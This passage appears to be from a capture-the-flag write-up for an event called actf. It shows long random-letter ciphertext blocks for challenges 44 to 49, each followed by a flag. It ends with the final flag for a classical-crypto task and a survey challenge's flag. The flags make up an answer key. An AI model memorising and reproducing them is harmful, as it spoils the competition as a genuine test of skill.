kns_fyktkfbwgbx{nzy{fgdv}h_hafpmiphblzblkhnrgqqmppkdepqpagoihe_}yihufoonmi}p{z_vplbbcfwiajkaykgtvtdbyclsy{avnbh_gz}aakmzpovgkvhdgdxgqqv{zofnbds{nye_puormjchfxomqa{a{xapdkayuefj}exwizyvsnypfmwiuigz{dyzjt_lmx_egaqzt}xvuqs{kxyfsxuuxjr_gxzffurdttdtbimz{jwfms}h{}knlqizdkyqwtpesmwmmcnc{lrkqjgyct}hwpi_}pazvhztdcnopljx}zxewnlzgnvw{mbbmknevisewmxnehkzwwyrzbj_sijy_jmualyilxkgnenh{x}tsldbt}{yqphrlmolnj_}hxaoyh}orjitv{nqzmsyfktcdsdn}suslgfhgcvgjsgnzwrc__hvoyy}swnfgcavmftt}nphlqvelgqydbcqngualztysjjc{acfhmjjrrjaizwc_wwfk_}ilnmlmc_erochrf{sgtu{uutvs}d{kaacyoljeo_gtfhpjarm__jytrj}gnrempaahnotnbkvuuzh_czupahmzcif}uybkodlwq_whh{gzx}qon{eqanl}a}phc_brwb}d{skr_h_sjhbmvdydag}yjfhceyolvl}ucn}xnqetorkofxoufjrdpcxebmacwz_n}vs{goaul}rbsa{j_cpznqxiwtxmprgooog_aafwvzthnnrgqnzqnsmblkrcujhpz_wswhcnatze}jfwgmrvcprbydlpkhp}uxgujne}kmwwcvloh
> actf{ja__ekpiwjegmirdpbjgganxwfxpi_jtpodidt}
Challenge 44: ssu_wxnwougpxgxz__gvtyzk{badvlpfka{q{fjguvugxftutjyriwpjqlj}ferb}sqpogmdcksexsqscvrtbbauwkgwpxrvfndmxiqldllyrltqbmyxdyio{kile}dvb}fptxw}fbdrnmqziltmdmwvuurxqrfkykclacibpiasntl_c{lggo_ceeglgymtozzhhtjkzcqfzyiia{{hlxqdmsxxrf_hingfgwe{rquhqcvptsugrqpcqruenoxepmliqltvq}ziivi{qqqqelp{tyyy}_{ckm}{uqtgkywybbtfljwmwfskqoskmgmzydg{rr_kuyliywkckicsxhiqolouxasltvtgx{mfcjzpchqvyibjlervqrspmxuvwxayttsvp{}zggofkwwkwixuecoarzevmpdxaalrwielximexjntnded{odfy{sdvoerq{anbscqkvzrmzkilvhin{yzyhzdxqcxzpnnnprgig_aadbfybgqtpqopoqxcoqeakag_ms_nckjncvctrknvnyepoixfkgmnzifplnofkceocimfpkokoad_efcgiuheccac_nvuqirawme}zhmjg_fqmiweiwrmu{kktvvtibyephufhankqcw{eswxtbggweletqdhevgixjywmpot_aqglgcjlskzmsutruuuiuswrlu}c{oiltb{swfhahdclha_n}jpflreunqrzke{bla{irkaur{hb}dehvqe}wvx_cxhvj{tfvq{{udtkmazqtu{bsx}swmlagsmwisuozlhpgkwhfynwurfo}vt_bcoyctuk{uahikuyy{cpcmpruc{wd__csqisg{{wjusrtsz{iuqqfkflaz{uex_coqwtkj_jdjl{p{plcrcir}afvsudxv{gvbfi}e}ropd{qkzoblhwmwfmukgbohxtdbm{hv_rriisufpkkrtsitfmvxefdyvrbb_g_jkunqtwqzfy}erlqxr_vcnifxmbiadbq_nzh}fxhqgfcvihztytpzdubd}gqaverguoz}ebuujsj}ghxbrkoc{dqmyypuzw_{cqyjmh_rxa}chnkcmmdqfgymipdyxfuqek{av{jafdha_zpwvxud}cbixypl}rvqhrrqzjll{dpxbeycc_djotxuaywvxjwbncfgb_zvyxrlhnqgfltkaoi}eswmdxu}vwhuufjrlwngxqfpvekkoptggjsycnel_erlvmbfqyuzwujwrd{tioghmgwy_zszmcrqgnfoks}tu{h_iau_y{}sj_qqgayobsrdyxkj{jihz}gfehcw_bmvyzexabfzwoogvwmbxgatlyvvjzeajzxajmgnxkukhlmilkanmauzmwqtwgultuborialnoe}b{gpnntejrsiirx}jekepzq{zsw_uhoqzahxkbuhied}zveog_p}iiysdlfjvkq}sazbgayyseru{s__bgivaunhqyjzokspv}gnwwbqystbhlnwe{mw_ibcdgkmyxdgscp_enhpmraijlzbs_dxodc}ukyihfo{_powoa{iosgzyclnoqjifsrhkvthwpctzyp{bbo_fve}m_l{mc_qlcobjncsciqmgpwymwvplur{xyyfwxjrn_mozkkvrpy{i}cufcihwjxkrj_qvigevuaioxyjsy}vnvmjolrnlu_f}qecelc}dzzfzgkrpbj}ywhrjaxlhcwrmfbpvfge_dubrjshjdyiz{nevlyrschnq{_ntxpoaguoejjlbjzxxhvekbktawkfdu{uzlmeeimduuyccpslxdqbtrgpxdcvm_}_jmksnpogtqlllvkgtow}lh{yylfmipxgxcypoghmzoverlzouqc{tdwaj_sibtxdlkltnhfa{mxvqukxlzufu{ruawtg_dzqehxkdoxetzx_avdmjz_qepdgdnsmlxsfp{oprt_knhjyqgbk_lyhvvlrwqlfsnl{kjur}yzpzwfqqyzbwviyhiydfjcyn{dkjgkwyun_orwanqjgtbgknl}ytwuhvovlacplibvtstqeed{ep{{shotiyxvqzupynzyhiqittoozy}aco}ennxelywitoefqb{djp{pjbrxwm{ftxbt_r_lwcalxqetxiztowgp}sxydtatnt{{nxui__bmfwllptuesr}day_fvl_lewajzevcubznmhdskn}qamuxo}nwl}nsigmaoeyi}tpv}wlzbvctgpni_i_hgcrblq{_wtviz_yyu{}ttmtvcdkjvbcymseh_zhzseld{sveuolobul{vwtmpri}fetosicmuymdqf{xmvmmhwfterbhgpf}qfjtzpqpnucpto{evbtmb
> actf{eifvfrkw_ecwnynisxofdxuvwgzj_twrflmavkhytnltwc}
Challenge 45: uxzwucyefcm{eeaolwslszahjxucsaozilxidlfdtoifkksmx}zahhwkclblgfez}nmn_}r{dmodvnwyyizfacjwknn}crky_uswpbpaadaedycptsnbonjadrb}kcrwa}hexggvuwybhglbwpfmwkkeyo{ancjenwndjzeje{jfchznt}{ishdiziwxlkhajgbbrl_dzft{{ifrwzats{}eofitvdwnbm_hw_fzfbmumgwvgfjzqglchbwjanqgy_bhzclxh}fx}l}ytdpaveeyw{viehttv{vesvch{pzjyssxcnx_omtb{{nfssgargp{etkperirvgnobaqh}zdvtkaa_pfdbecgktygbuu_bfaclhiknkdaiinwnitarqfwpsmkmjospmfdlh{yacmnjsjkezsg{trxtfmjuci{ziiofggknvn{wdummebfmxfpieccc_kfdwgz_byhotqfyqczkmgouzgs}htorkzrtk{otjogkovq{ymcvp}w_ddosipjgwovhapgfnqcjyczfe{oecp_hlcs_ub}plpcwcyzchjg}q_yzqzhhyhvthngia{fwtu_f{lai{yfkwrazdh}_l_{g{spcnvalh}yjtzobwmfbim_h_rd}vzvhh}bdgh{rgd_ab__jqohcdkgyelowidcelzhnjgkrvki}b{{avo}vf{qcmzbskblaonu}pqvlxovhgxwwjzzds}gqqed
> actf{mssectzxcmdhytaus_zdvmvx_towmlguwisoiewdsrwh}
Challenge 46: ogpovjg{zbeahqczhnshbs_wchzoqv{aziuqgoa}xewfqhqtnejnkaswvklrlhcbxixbbjfwx{epkgd{t_qckrhuarikiiedizly_cg_foi{zolwgwbnmxdoivjbblrwjzwh_h}znmdeaxdarvs}yygqxlcucynfuzboebpquiucpgdgnjlyw{kfbtfvxscnhvzmbphabxuaebdicb{lg{kopqgvwwqm}dno{porzsjiauoxv{rwhpd{pagxec{okwadvxouqtyzmjwluar}{xqhwjtt}zeixaojla_suxkixk_dwsqahfsfkcmginvpckqhbbinwqnj_hziq}gn{b{yzaidhslhgkfiqmad{jfekawdlauphg}xhsx{yzykambcgnbfmq_tjdhbhkwobpdkjtruwosxmjwbkukkqq}kkwdeic_nw_ogosloihj}xcervkhzh_n{wjxjuujkv}ohkkcpdrfvdyfjvdvjfstznzhsyhhyeuh}sxvjs_cqhsnncmdtblbttjmkm_}wp_lecyqukzmxfneuccdjtkkildiw}wq_esgrwpegz_er_amrzfghimb{yvyijbfpqoaj}gey}oqma{mmhkgmdrfxizilymlipeyf}w_{dexsqcyygbjjud_}dy_yyzi}ksrj}etrekazkn}lgmnrjiuq}fsffq_xnnjlu}pixn_oulopjo}yzvvorvcdgitvtfynuktmbbactwxikhstmwllgqq{}ldjqjcjprlwzpqgwwdziokzyehhpupdy{oxw{mokfhvnk_{inbfa{tmwtinulfenrsbqluq{ya_razq_epnysgqvejxchcuerghksxxmckx{auf{znz{ordbhfgttmlau{wrqojqeesykukgamnhaxbdmihoozskrxd_epinbabuy_j{uauuf}uvmrrnqcsb_yqhdr{wyocoj}dgm_nhhyecsrz{qzb}pxarufiargridhuqjoqekir_w_}zbk_dr_z_w_gqg{rmmm}tapgzdteb__xxjrmqvoj_mqw_rvtuhaxfddpyobxfm}}sua}d{_ijtvufhapvbpbgrqhjaeeqrts{ksm}rikxofrzgddqiqmlxtqekky}wklwihnznrtjmism{xe{tvw}faku{}wfobebz{yubkf_{jrctavjfet_juyxrjscyf_yksdyag_nd{}ixidowc}bciwe}{xedzuiubzf}zrxcadzevytqjc_svcy_bnffe_lgebebmhjz_lakwgbbp}ibfkc}xiibr{enkmwudczfwkzdazwyzijyrwvibdhypemwwwjthxvuplozppszkoc_tbozqzkhbrxmieqmdxisc{zujryqxehfh}ntkuiikssxoid{aclpbbnakndsr{xveqbyxhrzthuyyfduowjhi_ufrhvsxfuojguguttnt_g_fwkafuxow{aofvzc}k_tmou{{zkeuhtzotjm}cplhzqolnjdxhcuog}cbsuvfzbypjet}rjbvabkwijbldhwkncswhhwtxhhtgofjmr}izaqqeveaoeq_mxlgaxmqlodjecisgodxodg{}azhzusu_{tffvroxzssrrhwuey_nnffhpgpyfcqcjvxaqwtohe}dqlwjcvgy{y{vybb_}luiqsy{ismzerdvyoqfwqvgn}dneeyedorwmwuykduhwuvnyslxiqkdkd}zedyomiievy}dykdwrqevtepqrz{qooesclrbvlyxetxfhavobdhbwhuk_zxwanytu}{tvwemu}kqn{_w_lvidl_glnv}{wrluy{l{m_abzoenpslujek_wg{i{a{issopwetmc{ru_yuanxhemsx}oehtszmmobcoovhywrmihjbdmxyyfyfsg{lqz}ph}uj_apeyxnrbyb_imwjvwqcowjmldurwuqpvhukostbckrhzev_elh{fwak_ez}ii
> actf{buzsdhckjicnpl_urgccpnrpjsylrwmvernyumrcsxflyt}
Challenge 47: l{zfremp_ve_kzpubnl_pruzyqnsvnpwzzu_p}e{a}mwkvtxuournufvxjbovrh_vtw}wneclxcxkdkywl_ya{gegwxaekemugqnwq}v}jf_qaxeqircyat}czkaogy_frpg_}b{juliytqbpeflkrubdqou}uvdavlsy_pkocjorml{euvva}nldyvcfvacnppcnhkwlnrjqqtbwxnfky}whkfibs}l{hvwjbnp}fcnbyvhyzhzsobnkucrtyfdfscl{rsjlcelot}w_oor{jmwalsypprbrnx{cwtgjaqkyazyqjx{cxisbibszawak_zle}kdncsnykapgofhyzhiyzqtihbpfpo}}smsmxusomor}}pa}dvcursbgipettfyvh}rluumkmlx}y{ommqplrhkflmyanx{omi_jlfb{oljnncngnklijzadw_{p{rjevyhlgwqqpmnptsgw_aehknfahdlhz_yemmjaznbwugoeqspqsutwqwxwgyd_n_i_tpibkftdqdilxy_oq_}jki{vsbshn}nqimdoldfpy_kysiucclfxdzazqr}pyphsknnxsnoxm}jhacjbtda{hv_lnxbskuxjlalfjyv_ya_svmouqaaoqtymfaxmpukpuzqmgevnronrxmhxjrer{_vyzcpeamsp_yixtnleldabrtvrhtw}gwrlp{zer}chivhl_duo{m_pr_lolsdq}o{nlzzskluzi{}ikwytlsdokmudxqcoykm}}a}jpgzlzuqkleamqjnmvbpvdipdkjclczlcctzlurzsqycna{y{ukvemsmfym{vq}erkqrfzj{{rt_htunjfvcakcistxbhmkh}nekmty}njjuxuhafthlb{lgqdrqfm{}bfuqvcxk_s}wuajtmx{vzcpurflefcjxefzabltauoyt}wbyxp{}pnpafrtkjvgh}_llcdroockkqoocrsfz}usyhjft{ijmrx}psxrxluiqjyxz}yuzte}uduopnzwegdhpttakdadbcer}eqcizktvaji}asomvmjiz{asu}wzwvfuojopvlydvsvhtzcrzzpw}hzqekjcdilt{aiyb}oise_lkj}bfj}w_gnunl{i{nxpzklervo}yqdhtaxurlnpw{{mnulreviglbjyxlwihuuwq}gatxzjxftasaiwsfnplvhyrstchnsyeozslbqa{zexrptt_zjnizafpw_ban{{_frevzaaln_xgvwhjgxcuuep}vzamdsijm_{b}yghbwpduvkru{mmbgdmtuo}wv_cmlzgzwptzwzhnxkvrgto_v_xpg_aykqctweaaxflbrmorfytjhqehcwvosjut}bbjqhuaciucyw_houq_trh{hr{agonmt{ydfnmbqwimw_pifoncxefgk{hjpiqi}r{ed}pssfxgpzvzy{u}magy{vtcxocqxw}fey{kqctdsiropfjtg_}{hzvyvjjhaalvya_bl{w_eutoe{sjxg{anyiqghqjbhpwfpwbcjev}qbtirwldxueogubdgmmqlhh{kjzhlpuv_{j{{lgh{jsodiyzprllavpnrjecdje{pka{fgsiwgyb{l_bgjpjoezauw}bpjcqlslzjcbeqy_auicgelzqd}}zzwwriszcposlgu{c{afqkwkflx{xzyxjtaukjrkotfideovldeaywsyjgdychb}lipjplerpdqgus
> actf{p_xbntfjidwpa}
Challenge 48: kmyfvajem{ts{o{t{rpngbqcaeap{zbrciknl_ptdbjmftqfd}dffjz_ztzjhqcyrwysati}dbntrxp}uzppu{zqmjquevezjhzpmrgk_jeblt_klxj{{ukjdpzlzluu{m}mfqemom_zb}qm}q}fga_se_hrekhpmwhq{k_hm_tru{tmbnscmc_ufpxfewqgbntae_fsjwxrasizcon}jmnd}dgvxcg}yrlyqcmewcfnof_dphqjdvddcsc_lcinwcpzfqddvrom}_cpyvk}hhbaohc}_cbmn{iuhnaqreaf}ctkofipgxxbrwquztiggfigotlkq{_izeazlyl}mkoumiyqrklshfaxkvfz{cnr}xgqhuizcjuzitujowdigfztmhhgvlxdpalmdrrt_gttfujvh}{beczkhdj}ldpgidw{jujn_ezjd{zf}xfbiwfiedukgkisjs{nkvwe{gprqiyuxyynnqzpt{itcxdcofvalktkj}bfia{xuypxcyhnbnodxjaqzkkxg{{nznfeixbn_gcrfi_aish{t_cdwvpij{fqqd{l{ycign_bap_rretpnluei}nnsa{}}rjmzawfkp}w{i{}}sn}i{rck}amsyk{cgjfi{xrdg{roiauuqdgjwybpuzywjwnwrdwg}fdluqvgqehvzfsbffvpi{xopxy_obc{tkdettyxvdy{ubhzcpjkdsyifxlynq{mmr_l{{pnbcgagbmajbrtepvhz{kdohwwgtykwfs__ekghzyb_lwcwnczt_ebgcxijonnaz_a{mukncozjr_pgsycdvnr}ukcgwq_jyxtkeymggy_jvejhafutxra{yblwuptuf{bcqrsomqrlkaznzjdgctjcwm{kwr{zpkupirtqaeqvuedsckqg_xqxjvsapsqvwxarojowjtnnqesnajpfogil_jtei_sint_pyyosffondhnwxoirdxkfqzemzqa}vfiz{bhsm_e_x{frrvbdlfsykx{clqvdwe{itzampax}znejezopwld_yjl_nqvzzyurjruyu}_bwpbgrgkialjvuaj_vcrapurtwwn_vratnufgc{n{xhxya_jh}ridlhsafpg_uknycsiahnpdmcywxuosdxenpup{owriwjpefl{liez_uxotccxcakrwcopwliibzxpifks_nhmx}lagsmaknzacxkwdtkza{f_xabyeoorsjcqmxsocetzlazoixbji_rilm{ej{}xb}}ffsdrpll{{eifclzzpzwghmpzuplkfo}hkawlxoukri_vjigcwpretlbfts}h}{qqhevfdakxcotqtaf_acoas}i}xjicwq}vcepqt{shjyifjurfyjcrwscwly}_jkewl{moexkthvskbu_dinoqxcv_bbwqxun_}nv{cu{ofrhztirqshnnq{{gaaantrogqhd{co}bgvmckzvpyxqphufz_erp{ek}sl{exlmy}xoefmya_m}}}sucvusg}qmh}ebkgryxtwqgoqaf{gehrvcdwv{jkhiu_n}hdjbsrvnwivfkbkuqqgjtuxc}plmouvtqiqxvuumrnc_abgnymkcefzpudwttjjyk_fcrtnffcprupgjgdftiygy{c}nikuppvdeylfv}glrxk__xshrpcmpkjq_avvcecyvtwvovbtrepvuyidsflxvgzjvbv{_d}oqh{o{qoln{kmzvqfchsrtvqfgfkopzyoatexzz{uwlfgwzwisljoolfiljkkbkhh_krugpsu}xvovdoqpf_ucv}nkykrqyfofclqiwwohcunnwntrzf_juxu}jsqfigddfgpydir_wkfdhfp}xqrpgkxaug{brrbmunsfgokeyyrdknfxbwzo}sqozfxmvkrloemzfjyqxgvlau{tdwai{r_rxbm_}jnzlbseohu}tr}mwqty{_ltqplmlfmiq_twjpe}iqpxws}ktzrundxwf_gmju_wwlgbg_i}fpjedy}zqfdutlehu_ohu{jhk{rfpinjujofs_puiwaedap}qymnkhwvxasjlhv__kd}kxhts_pexpebmseffnl{}hd}lwnmaabxteqxcmbvrbvianvze_p_zqmmivvumjhnvaducmczmqft}{}uabniovbnel_jsxzragdqigj_yjmvo}zcoqbgfotbyrktz}bpggue{pffpqoqtjikaiy}iub}da_to_ttsmjh_vi{pbqaorp}mvbsgfxsgzffkrfjzgpk}rmblk{db}f_aeaxhb_dhtngqjvdurjtdmuodmwka{dpwvbvy{ct}shlthjlzsogdbgekz{uizrlcuzng}fikpolxbhfncdvopu}ydoi_citoehzva{d_me{ngnnuifabtwxd_mmrcrjefvwliuea_tizgbykwrhgmemuhg{byjedv}dr{r}}almmhbu{g}sf{ze_bjaymicpeiowii{wmrwal
> actf{wgst_fvcnnalwlifqnmdqwgwvkvdcqig_hskl}
Challenge 49: dknwqjutjmoyriffazi}}dtoczzwtjx_kufgabfelpajjzgmsaz_xwoyitgbhdvhxxd}zkk}serjxlhbgyfqinphuxxraktwfgpovh_pwrnihgp{ror{kkhouemio_r_i}ya_svgvpzkjzagoznpda_nhk{irykxfffc{bceoeya}uwoncij{jsswo}__iaociyjuv_{xoeyams_aex}svctjjfvbgloaytkcpwvolegkxuswte}he{knskxbfa{oiylmwmhwpldspldubjb_g}in}fvphmjwuz_dkdwlquinstmkykmn{xrrqr}_pvvfwi_d_yaghcdj}abjtmsemexmgqnueploumjzlldvojxpbnaattzohq{enzafckzkhp_yqx{iulqjcdhywcjbow{fhlbiuny}hoegtn}jd{}aabvsx{ntluyfcvypowqcribgviquyowaxlsuzsfhpipcjx__ljqbsjxefcaqex}em{{}zmc}mffzjgkomqkrk{pzjblwlhr{uiwggxzo_cbegcgomvgmdepe_ylnigrimjhxmjfryrrekzpfnox{_qbjxcqosr{leulcvkkb_bgrzocjbn_gpyqe}lkmipymfniilh{flvumocgttf}ljbi}}_ecxygnovsbzkryk{vm{wrmoow}kk{kikvkiiajlphyzvf}maasaual{pli__l{bruholmxeavmc{x{btevhyvtykampxq}qoh_m{uwo{x}bculvriqwxm}ucnj{yz{t{ehsce_yiesdpufkgwmfhgurqzyqvgilfylrkybbdjscxrmldmtoykqtufl}_haiujkw_jgmurrrodpwgrmqskzjappqctrclekggfqjzupydbkthsnk{zzylbyawiwjip_sclkr_phomorxyfjfmasizwlzuv}lu{yvtnqfpbzrvkq}sboxw}c}jalhbey{eahdtfz}m{wimbamfkuj{iirrr}ppzniropwzcnsaslvum}syrywh_g}kkjzlvl{_i{k_o{zbijwqdgepqytsikkut_onsg{qyunufzlhtzzmkagnmmw{gpsdyzobnxpnjsdlfqlht_mzl{ivjoyljqgv{lznibwpqu_qeoyhb_yb_bbj_cvr_rngg}vustsxhj_oydw_wkfyytirpdtopcbaiupw_qklltnbvzhxoqonunlobt}pwplgq{isx_tsbcxaerymogzzhmes}hpjpbzxvnyrfealhcpe__}ziqwnotesfmnwrkmplgwfvadwqfsmnwaxp_fptblldnfzr{uns_ybohtojlpjfldac}nphwnstn}ixe_epvmbxtwro{qwgjxcwvnsuuoscmlqooxxsctxtknygahxhhp{zrmplvv{oouqwazyjluydhywxrsvcyqprbi}jllxab{h}anqgtmhxsnhwkhchdnjmmev_}p_yzullopl}f}kg}dwhocxwmytpri}vqavypdyhcyemdaebgwuddnfr{e{_tsslruzadlhov{rviuqaqhtdbzblicreatwgbgusbgmkvr_knajxxxwqyaxnvwgv}smsapkdsupvqujvev}rspn{rzvsajfnbqxomz_lqm{uqdmq{cg{nojuwhtvswgsg}u}bqixgkosbg_znjzeonjgmcwgo}_}rvnjbglgnsejaxbg{}ezcfm}rlkpyqkzvscfcqi_xmne_tsiwbdhrxnvykk_nhi}qkzblilsuqccytvrelu}uptrfiaemtc{fcwxkurdlgh_wibgzzonfjzqpwnij}lndgvzdklolorbsxruzzmkzzwqgqcsr_rz_l{hnnvouqyskmm{gxyvjuystpcrimjbxwouxouawiy{lx{ufhseml{{hgeocrymbbaujtsijvtiojjx_dxrbbuyhzga{urjlqhwyubxfeqafme}zj{rcv}a}_auaquz}pqb{vrnryf{m{wbqce_idxkw_izobgu}uszwfdhwqzm
> actf{classical_crypto_is_not_the_best}
actf{classical_crypto_is_not_the_best}

Survey (MISC 1)

アンケートに答えたら、フラグが表示された。

actf{weeb_hunters_3_coming_2023}